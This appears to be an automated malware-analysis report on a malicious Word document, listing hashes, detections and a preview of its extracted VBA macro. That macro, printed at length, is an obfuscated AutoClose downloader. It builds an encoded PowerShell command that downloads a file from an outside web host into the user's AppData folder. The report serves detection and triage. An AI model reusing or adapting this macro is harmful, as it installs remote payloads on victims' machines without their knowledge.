Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b635a376c65b389f…

MALICIOUS

Office (OLE)

298.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: db44a9c620c8b0987926a2f91b30b810 SHA-1: 4641c3448fbb88f7cd7780bd06b32e6a1a3c6fa9 SHA-256: b635a376c65b389f09937a68cd5ff9bfe1a0d9fde48cce06b412a1ec468b83fc
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The AutoClose macro is configured to execute cmd.exe, indicating an attempt to download and execute a secondary payload. The presence of cmd.exe references and the AutoClose execution token strongly suggest this behavior.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6708348-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6708348-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    NAlYMiHYtogyjaozYTiCEraXOQ(3) = VarType(NAlYMiHYtogyjaozYTiCEraXOQ)
    SeagAioZOQaaoLoXFeDawuFAZslEHouPoLApAzA = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^Q^B^z^A^"
    Dim HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(4)
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const JaJybuaePutECYLozUvOxaxTYwUqYhExAMEBa = 0
    Sub AutoClose()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 175688 bytes
SHA-256: b2d6bddc884f03856ebb9c2d990ffc727b95e94deb88d3613dc5346bc38f9c85
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const JaJybuaePutECYLozUvOxaxTYwUqYhExAMEBa = 0
Sub AutoClose()
On Error Resume Next
Dim aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW(4)
Dim FOaYVuJakoVtUqiQAjEMEBEgiwuREN(4)
If "PekyrLOReTanO" <> CStr("PekyrLOReTanO30") Then
   FOaYVuJakoVtUqiQAjEMEBEgiwuREN(0) = VarType(VarType(VarType("PekyrLOReTanO")))
End If
FOaYVuJakoVtUqiQAjEMEBEgiwuREN(1) = CInt(CStr("#30"))
VarType PekyrLOReTanO
VarType FOaYVuJakoVtUqiQAjEMEBEgiwuREN
If LenB(FOaYVuJakoVtUqiQAjEMEBEgiwuREN(1)) > 13 Then
  FOaYVuJakoVtUqiQAjEMEBEgiwuREN(2) = Weekday(303)
End If
FOaYVuJakoVtUqiQAjEMEBEgiwuREN(3) = VarType(FOaYVuJakoVtUqiQAjEMEBEgiwuREN)
Dim faZoQuWOWYgyauDEdosenAJUPEaAbonijO(4)
If "hOBiBUxTaJuHVUVi" <> CStr("hOBiBUxTaJuHVUVi3118") Then
   faZoQuWOWYgyauDEdosenAJUPEaAbonijO(0) = VarType(VarType(VarType("hOBiBUxTaJuHVUVi")))
End If
faZoQuWOWYgyauDEdosenAJUPEaAbonijO(1) = CInt(CStr("#3118"))
VarType hOBiBUxTaJuHVUVi
VarType faZoQuWOWYgyauDEdosenAJUPEaAbonijO
If LenB(faZoQuWOWYgyauDEdosenAJUPEaAbonijO(1)) > 10 Then
  faZoQuWOWYgyauDEdosenAJUPEaAbonijO(2) = Weekday(31183)
End If
faZoQuWOWYgyauDEdosenAJUPEaAbonijO(3) = VarType(faZoQuWOWYgyauDEdosenAJUPEaAbonijO)
If "WUjIvOrYlAbYGi" <> CStr("WUjIvOrYlAbYGi5991") Then
   aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW(0) = VarType(VarType(VarType("WUjIvOrYlAbYGi")))
End If
aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW(1) = CInt(CStr("#5991"))
VarType WUjIvOrYlAbYGi
Dim gOSifihiCyrFeqyMYmuQekAgJafYXAnufo(4)
If "JYJAsYMaiAZUW" <> CStr("JYJAsYMaiAZUW8938") Then
   gOSifihiCyrFeqyMYmuQekAgJafYXAnufo(0) = VarType(VarType(VarType("JYJAsYMaiAZUW")))
End If
gOSifihiCyrFeqyMYmuQekAgJafYXAnufo(1) = CInt(CStr("#8938"))
VarType JYJAsYMaiAZUW
VarType gOSifihiCyrFeqyMYmuQekAgJafYXAnufo
If LenB(gOSifihiCyrFeqyMYmuQekAgJafYXAnufo(1)) > 13 Then
  gOSifihiCyrFeqyMYmuQekAgJafYXAnufo(2) = Weekday(89389)
End If
gOSifihiCyrFeqyMYmuQekAgJafYXAnufo(3) = VarType(gOSifihiCyrFeqyMYmuQekAgJafYXAnufo)
VarType aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW
Dim ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu(4)
If "hOByPIezekiI" <> CStr("hOByPIezekiI9278") Then
   ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu(0) = VarType(VarType(VarType("hOByPIezekiI")))
End If
ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu(1) = CInt(CStr("#9278"))
VarType hOByPIezekiI
VarType ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu
If LenB(ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu(1)) > 12 Then
  ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu(2) = Weekday(92784)
End If
ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu(3) = VarType(ieGEPylewEuHoFIWiuZaZqoFoLNUXOsu)
Dim FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba(4)
If "QuXutiGLuxpUG" <> CStr("QuXutiGLuxpUG3414") Then
   FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba(0) = VarType(VarType(VarType("QuXutiGLuxpUG")))
End If
FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba(1) = CInt(CStr("#3414"))
VarType QuXutiGLuxpUG
VarType FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba
If LenB(FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba(1)) > 11 Then
  FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba(2) = Weekday(34144)
End If
FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba(3) = VarType(FyBiKiRYsWohAlelYhyDsUwInEWunipYSUgARufUba)
If LenB(aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW(1)) > 10 Then
Dim JaFaTavuDeryRwUCUMacoDaSohyzoa(4)
If "zacevEDYSOlO" <> CStr("zacevEDYSOlO1747") Then
   JaFaTavuDeryRwUCUMacoDaSohyzoa(0) = VarType(VarType(VarType("zacevEDYSOlO")))
End If
JaFaTavuDeryRwUCUMacoDaSohyzoa(1) = CInt(CStr("#1747"))
VarType zacevEDYSOlO
VarType JaFaTavuDeryRwUCUMacoDaSohyzoa
If LenB(JaFaTavuDeryRwUCUMacoDaSohyzoa(1)) > 12 Then
  JaFaTavuDeryRwUCUMacoDaSohyzoa(2) = Weekday(17472)
End If
JaFaTavuDeryRwUCUMacoDaSohyzoa(3) = VarType(JaFaTavuDeryRwUCUMacoDaSohyzoa)
  aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW(2) = Weekday(59913)
Dim jOaoTUkwOBEmJYMycuaofuq(4)
If "YkEbLefOaoXYBiHiOnez" <> CStr("YkEbLefOaoXYBiHiOnez7856") Then
   jOaoTUkwOBEmJYMycuaofuq(0) = VarType(VarType(VarType("YkEbLefOaoXYBiHiOnez")))
End If
jOaoTUkwOBEmJYMycuaofuq(1) = CInt(CStr("#7856"))
VarType YkEbLefOaoXYBiHiOnez
VarType jOaoTUkwOBEmJYMycuaofuq
If LenB(jOaoTUkwOBEmJYMycuaofuq(1)) > 13 Then
  jOaoTUkwOBEmJYMycuaofuq(2) = Weekday(78565)
End If
jOaoTUkwOBEmJYMycuaofuq(3) = VarType(jOaoTUkwOBEmJYMycuaofuq)
End If
aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW(3) = VarType(aEKEnIZoJoRArImiWatAVAbUrAbuBEqgeW)
Dim cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi(4)
If "DoKuDUJnsoiAGY" <> CStr("DoKuDUJnsoiAGY5026") Then
   cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi(0) = VarType(VarType(VarType("DoKuDUJnsoiAGY")))
End If
cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi(1) = CInt(CStr("#5026"))
VarType DoKuDUJnsoiAGY
VarType cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi
If LenB(cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi(1)) > 12 Then
  cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi(2) = Weekday(50261)
End If
cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi(3) = VarType(cIzIMUWAtItUbijExANaRobUSeGYzEwAkysbeKEXywi)
Dim NAlYMiHYtogyjaozYTiCEraXOQ(4)
If "vaJUFajUByGuZUrUG" <> CStr("vaJUFajUByGuZUrUG6617") Then
   NAlYMiHYtogyjaozYTiCEraXOQ(0) = VarType(VarType(VarType("vaJUFajUByGuZUrUG")))
End If
NAlYMiHYtogyjaozYTiCEraXOQ(1) = CInt(CStr("#6617"))
VarType vaJUFajUByGuZUrUG
VarType NAlYMiHYtogyjaozYTiCEraXOQ
If LenB(NAlYMiHYtogyjaozYTiCEraXOQ(1)) > 10 Then
  NAlYMiHYtogyjaozYTiCEraXOQ(2) = Weekday(66175)
End If
NAlYMiHYtogyjaozYTiCEraXOQ(3) = VarType(NAlYMiHYtogyjaozYTiCEraXOQ)
SeagAioZOQaaoLoXFeDawuFAZslEHouPoLApAzA = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^Q^B^z^A^"
Dim HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(4)
If "wiiYSEHWURAlobAkUDEmyJ" <> CStr("wiiYSEHWURAlobAkUDEmyJ1808") Then
   HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(0) = VarType(VarType(VarType("wiiYSEHWURAlobAkUDEmyJ")))
End If
HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(1) = CInt(CStr("#1808"))
VarType wiiYSEHWURAlobAkUDEmyJ
VarType HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen
If LenB(HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(1)) > 12 Then
  HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(2) = Weekday(18089)
End If
HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen(3) = VarType(HYxejIHiDyaYKIWYNEDebakEguBYJyWiWoQucYsen)


Dim XuMErupehyiAwykYGeaUqAiRBAbEFYluH(4)
If "fImEVyrOSEBitEDiQePAmU" <> CStr("fImEVyrOSEBitEDiQePAmU773") Then
   XuMErupehyiAwykYGeaUqAiRBAbEFYluH(0) = VarType(VarType(VarType("fImEVyrOSEBitEDiQePAmU")))
End If
XuMErupehyiAwykYGeaUqAiRBAbEFYluH(1) = CInt(CStr("#773"))
VarType fImEVyrOSEBitEDiQePAmU
VarType XuMErupehyiAwykYGeaUqAiRBAbEFYluH
If LenB(XuMErupehyiAwykYGeaUqAiRBAbEFYluH(1)) > 12 Then
  XuMErupehyiAwykYGeaUqAiRBAbEFYluH(2) = Weekday(7735)
End If
XuMErupehyiAwykYGeaUqAiRBAbEFYluH(3) = VarType(XuMErupehyiAwykYGeaUqAiRBAbEFYluH)
Dim qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb(4)
If "sYCySuLosEiaGy" <> CStr("sYCySuLosEiaGy1513") Then
   qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb(0) = VarType(VarType(VarType("sYCySuLosEiaGy")))
End If
qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb(1) = CInt(CStr("#1513"))
VarType sYCySuLosEiaGy
VarType qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb
If LenB(qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb(1)) > 11 Then
  qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb(2) = Weekday(15132)
End If
qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb(3) = VarType(qAjeForOxowiXuqEJEjuVIzEkCYPEbiDeb)
Dim muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt(4)
If "ALOXiVyTEXyhyg" <> CStr("ALOXiVyTEXyhyg2306") Then
Dim WAUNidIBuXIvzEnoNEPIBIxvIGEhID(4)
If "KizOcFUCelejOHAzAJyxIq" <> CStr("KizOcFUCelejOHAzAJyxIq3527") Then
   WAUNidIBuXIvzEnoNEPIBIxvIGEhID(0) = VarType(VarType(VarType("KizOcFUCelejOHAzAJyxIq")))
End If
WAUNidIBuXIvzEnoNEPIBIxvIGEhID(1) = CInt(CStr("#3527"))
VarType KizOcFUCelejOHAzAJyxIq
VarType WAUNidIBuXIvzEnoNEPIBIxvIGEhID
If LenB(WAUNidIBuXIvzEnoNEPIBIxvIGEhID(1)) > 12 Then
  WAUNidIBuXIvzEnoNEPIBIxvIGEhID(2) = Weekday(35279)
End If
WAUNidIBuXIvzEnoNEPIBIxvIGEhID(3) = VarType(WAUNidIBuXIvzEnoNEPIBIxvIGEhID)
   muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt(0) = VarType(VarType(VarType("ALOXiVyTEXyhyg")))
End If
Dim RoFzUdopeQhaxefybewEREvEg(4)
If "lYchEfocIF" <> CStr("lYchEfocIF6675") Then
   RoFzUdopeQhaxefybewEREvEg(0) = VarType(VarType(VarType("lYchEfocIF")))
End If
RoFzUdopeQhaxefybewEREvEg(1) = CInt(CStr("#6675"))
VarType lYchEfocIF
VarType RoFzUdopeQhaxefybewEREvEg
If LenB(RoFzUdopeQhaxefybewEREvEg(1)) > 12 Then
  RoFzUdopeQhaxefybewEREvEg(2) = Weekday(66755)
End If
RoFzUdopeQhaxefybewEREvEg(3) = VarType(RoFzUdopeQhaxefybewEREvEg)
Dim HyNEDsoHojtoduvUbYQuMet(4)
If "auaAPIWEfyiySA" <> CStr("auaAPIWEfyiySA1824") Then
   HyNEDsoHojtoduvUbYQuMet(0) = VarType(VarType(VarType("auaAPIWEfyiySA")))
End If
HyNEDsoHojtoduvUbYQuMet(1) = CInt(CStr("#1824"))
VarType auaAPIWEfyiySA
VarType HyNEDsoHojtoduvUbYQuMet
If LenB(HyNEDsoHojtoduvUbYQuMet(1)) > 10 Then
  HyNEDsoHojtoduvUbYQuMet(2) = Weekday(182410)
End If
HyNEDsoHojtoduvUbYQuMet(3) = VarType(HyNEDsoHojtoduvUbYQuMet)
muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt(1) = CInt(CStr("#2306"))
Dim CaGaZEWeReRugYQugINeLAbIiAik(4)
If "ieNOSjYGEbuCYwuVaMuie" <> CStr("ieNOSjYGEbuCYwuVaMuie3274") Then
   CaGaZEWeReRugYQugINeLAbIiAik(0) = VarType(VarType(VarType("ieNOSjYGEbuCYwuVaMuie")))
End If
CaGaZEWeReRugYQugINeLAbIiAik(1) = CInt(CStr("#3274"))
VarType ieNOSjYGEbuCYwuVaMuie
VarType CaGaZEWeReRugYQugINeLAbIiAik
If LenB(CaGaZEWeReRugYQugINeLAbIiAik(1)) > 12 Then
  CaGaZEWeReRugYQugINeLAbIiAik(2) = Weekday(32744)
End If
CaGaZEWeReRugYQugINeLAbIiAik(3) = VarType(CaGaZEWeReRugYQugINeLAbIiAik)
Dim ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy(4)
If "PYxUtylirfisameU" <> CStr("PYxUtylirfisameU8477") Then
   ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy(0) = VarType(VarType(VarType("PYxUtylirfisameU")))
End If
ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy(1) = CInt(CStr("#8477"))
VarType PYxUtylirfisameU
VarType ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy
If LenB(ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy(1)) > 12 Then
  ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy(2) = Weekday(84775)
End If
ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy(3) = VarType(ZuzYNpUDiGaBitAECOQUGeXiHAsuoHYpYcy)
VarType ALOXiVyTEXyhyg
Dim JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV(4)
If "LevUBUvidebaZ" <> CStr("LevUBUvidebaZ9979") Then
   JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV(0) = VarType(VarType(VarType("LevUBUvidebaZ")))
End If
JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV(1) = CInt(CStr("#9979"))
VarType LevUBUvidebaZ
VarType JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV
If LenB(JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV(1)) > 11 Then
  JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV(2) = Weekday(99797)
End If
JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV(3) = VarType(JEpYmuscAfYBIVLEJIgIGOxYMApeiULjELV)
Dim SYrInpyfybifYhuTEjoXaxOx(4)
If "BEHAPygeHUBYnIvOv" <> CStr("BEHAPygeHUBYnIvOv6555") Then
   SYrInpyfybifYhuTEjoXaxOx(0) = VarType(VarType(VarType("BEHAPygeHUBYnIvOv")))
End If
SYrInpyfybifYhuTEjoXaxOx(1) = CInt(CStr("#6555"))
VarType BEHAPygeHUBYnIvOv
VarType SYrInpyfybifYhuTEjoXaxOx
If LenB(SYrInpyfybifYhuTEjoXaxOx(1)) > 10 Then
  SYrInpyfybifYhuTEjoXaxOx(2) = Weekday(65552)
End If
SYrInpyfybifYhuTEjoXaxOx(3) = VarType(SYrInpyfybifYhuTEjoXaxOx)
VarType muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt
Dim rOVazUjesuwvABIdyDEfuijuiu(4)
If "holoFYkyzo" <> CStr("holoFYkyzo5960") Then
   rOVazUjesuwvABIdyDEfuijuiu(0) = VarType(VarType(VarType("holoFYkyzo")))
End If
rOVazUjesuwvABIdyDEfuijuiu(1) = CInt(CStr("#5960"))
VarType holoFYkyzo
VarType rOVazUjesuwvABIdyDEfuijuiu
If LenB(rOVazUjesuwvABIdyDEfuijuiu(1)) > 13 Then
  rOVazUjesuwvABIdyDEfuijuiu(2) = Weekday(59606)
End If
rOVazUjesuwvABIdyDEfuijuiu(3) = VarType(rOVazUjesuwvABIdyDEfuijuiu)
If LenB(muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt(1)) > 10 Then
Dim LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU(4)
If "KIPynIWITiSALeBdITuLuM" <> CStr("KIPynIWITiSALeBdITuLuM5895") Then
   LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU(0) = VarType(VarType(VarType("KIPynIWITiSALeBdITuLuM")))
End If
LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU(1) = CInt(CStr("#5895"))
VarType KIPynIWITiSALeBdITuLuM
VarType LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU
If LenB(LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU(1)) > 13 Then
  LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU(2) = Weekday(58955)
End If
LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU(3) = VarType(LEZRewiXEmuoXaFoTiHyHEkaCobobUseNOKOWAVU)
  muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt(2) = Weekday(23064)
End If
Dim vYgaGlykUCuduaaygORuWUjydymIS(4)
If "suGAvaiaGUtilonOxAjuL" <> CStr("suGAvaiaGUtilonOxAjuL6454") Then
   vYgaGlykUCuduaaygORuWUjydymIS(0) = VarType(VarType(VarType("suGAvaiaGUtilonOxAjuL")))
End If
vYgaGlykUCuduaaygORuWUjydymIS(1) = CInt(CStr("#6454"))
VarType suGAvaiaGUtilonOxAjuL
VarType vYgaGlykUCuduaaygORuWUjydymIS
If LenB(vYgaGlykUCuduaaygORuWUjydymIS(1)) > 13 Then
  vYgaGlykUCuduaaygORuWUjydymIS(2) = Weekday(64545)
End If
vYgaGlykUCuduaaygORuWUjydymIS(3) = VarType(vYgaGlykUCuduaaygORuWUjydymIS)
Dim SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy(4)
If "kAcyPYayqUJ" <> CStr("kAcyPYayqUJ3776") Then
   SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy(0) = VarType(VarType(VarType("kAcyPYayqUJ")))
End If
SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy(1) = CInt(CStr("#3776"))
VarType kAcyPYayqUJ
VarType SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy
If LenB(SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy(1)) > 10 Then
  SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy(2) = Weekday(37761)
End If
SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy(3) = VarType(SEWoaEaYXIhucOvuMASXOZeTuxoZUgYDUVYSizHIKy)
muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt(3) = VarType(muXaQoaiGURoCovECYXOCUfUHORUrEmoqybAwYt)
FiDawLYTUlAseXyRYhacoBqYWeVeLYVenENaVbYNEp = "G^o^A^Z^A^B^o^A^H^E^A^b^w^B^z^A^H^A^A^Z^A^B^q^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^E^8^A^T^A^A^v^A^G^4^A^Z^Q^B^y^A^G^" + Chr(100 + 10 + 5) + "^A^b^w^B^t^A^C^4^A^c^A^B^o^A^H^A^A^" + Chr(40 * 2) + "^w^B^" + Chr(100 + 10 + 5) + "^A^D^0^A^Y^g^B^l^A^G^U^A^c^Q^A^1^A^C^4^A^c^A^B^v^A^G^Q^A^I^g^A^" + Chr(100 + 10 + 5) + "^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^I^A^M^Q^A^2^A^D^Y^A^N^Q^A^x^A^D^g^A^M^Q^A^x^A^D^g^A^O^Q^A"

Dim eDrytMAqOCUCAhiGixASvezIberaPoMowuMin(4)
If "QiVsyTUcjoAhUFiqoKoQ" <> CStr("QiVsyTUcjoAhUFiqoKoQ9176") Then
   eDrytMAqOCUCAhiGixASvezIberaPoMowuMin(0) = VarType(VarType(VarType("QiVsyTUcjoAhUFiqoKoQ")))
End If
eDrytMAqOCUCAhiGixASvezIberaPoMowuMin(1) = CInt(CStr("#9176"))
VarType QiVsyTUcjoAhUFiqoKoQ
VarType eDrytMAqOCUCAhiGixASvezIberaPoMowuMin
If LenB(eDrytMAqOCUCAhiGixASvezIberaPoMowuMin(1)) > 12 Then
  eDrytMAqOCUCAhiGixASvezIberaPoMowuMin(2) = Weekday(91767)
End If
eDrytMAqOCUCAhiGixASvezIberaPoMowuMin(3) = VarType(eDrytMAqOCUCAhiGixASvezIberaPoMowuMin)
Dim ZoQYgEGenirApuQaBYOlAGU(4)
Dim matYzElasaAmeBCAVVInEvAKAVAjEh(4)
If "sosuKowUhIqIvyZemYXiBO" <> CStr("sosuKowUhIqIvyZemYXiBO6681") Then
   matYzElasaAmeBCAVVInEvAKAVAjEh(0) = VarType(VarType(VarType("sosuKowUhIqIvyZemYXiBO")))
End If
matYzElasaAmeBCAVVInEvAKAVAjEh(1) = CInt(CStr("#6681"))
VarType sosuKowUhIqIvyZemYXiBO
VarType matYzElasaAmeBCAVVInEvAKAVAjEh
If LenB(matYzElasaAmeBCAVVInEvAKAVAjEh(1)) > 11 Then
  matYzElasaAmeBCAVVInEvAKAVAjEh(2) = Weekday(66812)
End If
matYzElasaAmeBCAVVInEvAKAVAjEh(3) = VarType(matYzElasaAmeBCAVVInEvAKAVAjEh)
If "SUPaFuKUPyREisOSol" <> CStr("SUPaFuKUPyREisOSol6508") Then
   ZoQYgEGenirApuQaBYOlAGU(0) = VarType(VarType(VarType("SUPaFuKUPyREisOSol")))
Dim canOBetInigASebUSIKYIBOXyAujomRymy(4)
If "SaLIPikuwinaDBa" <> CStr("SaLIPikuwinaDBa2719") Then
   canOBetInigASebUSIKYIBOXyAujomRymy(0) = VarType(VarType(VarType("SaLIPikuwinaDBa")))
End If
canOBetInigASebUSIKYIBOXyAujomRymy(1) = CInt(CStr("#2719"))
VarType SaLIPikuwinaDBa
VarType canOBetInigASebUSIKYIBOXyAujomRymy
If LenB(canOBetInigASebUSIKYIBOXyAujomRymy(1)) > 11 Then
  canOBetInigASebUSIKYIBOXyAujomRymy(2) = Weekday(27199)
End If
canOBetInigASebUSIKYIBOXyAujomRymy(3) = VarType(canOBetInigASebUSIKYIBOXyAujomRymy)
End If
ZoQYgEGenirApuQaBYOlAGU(1) = CInt(CStr("#6508"))
Dim TYTuKtOQYiwirLENaVoFiREcEmYqAXO(4)
If "koxEZaqEnAruIduiebA" <> CStr("koxEZaqEnAruIduiebA1381") Then
   TYTuKtOQYiwirLENaVoFiREcEmYqAXO(0) = VarType(VarType(VarType("koxEZaqEnAruIduiebA")))
End If
TYTuKtOQYiwirLENaVoFiREcEmYqAXO(1) = CInt(CStr("#1381"))
VarType koxEZaqEnAruIduiebA
VarType TYTuKtOQYiwirLENaVoFiREcEmYqAXO
If LenB(TYTuKtOQYiwirLENaVoFiREcEmYqAXO(1)) > 11 Then
  TYTuKtOQYiwirLENaVoFiREcEmYqAXO(2) = Weekday(13814)
End If
TYTuKtOQYiwirLENaVoFiREcEmYqAXO(3) = VarType(TYTuKtOQYiwirLENaVoFiREcEmYqAXO)
Dim haJEGeTOgyplYPOpibIwiBoJirsOuw(4)
If "afyJuiEQIFeTiqUXOCyvEC" <> CStr("afyJuiEQIFeTiqUXOCyvEC8566") Then
   haJEGeTOgyplYPOpibIwiBoJirsOuw(0) = VarType(VarType(VarType("afyJuiEQIFeTiqUXOCyvEC")))
End If
haJEGeTOgyplYPOpibIwiBoJirsOuw(1) = CInt(CStr("#8566"))
VarType afyJuiEQIFeTiqUXOCyvEC
VarType haJEGeTOgyplYPOpibIwiBoJirsOuw
If LenB(haJEGeTOgyplYPOpibIwiBoJirsOuw(1)) > 12 Then
  haJEGeTOgyplYPOpibIwiBoJirsOuw(2) = Weekday(85661)
End If
haJEGeTOgyplYPOpibIwiBoJirsOuw(3) = VarType(haJEGeTOgyplYPOpibIwiBoJirsOuw)
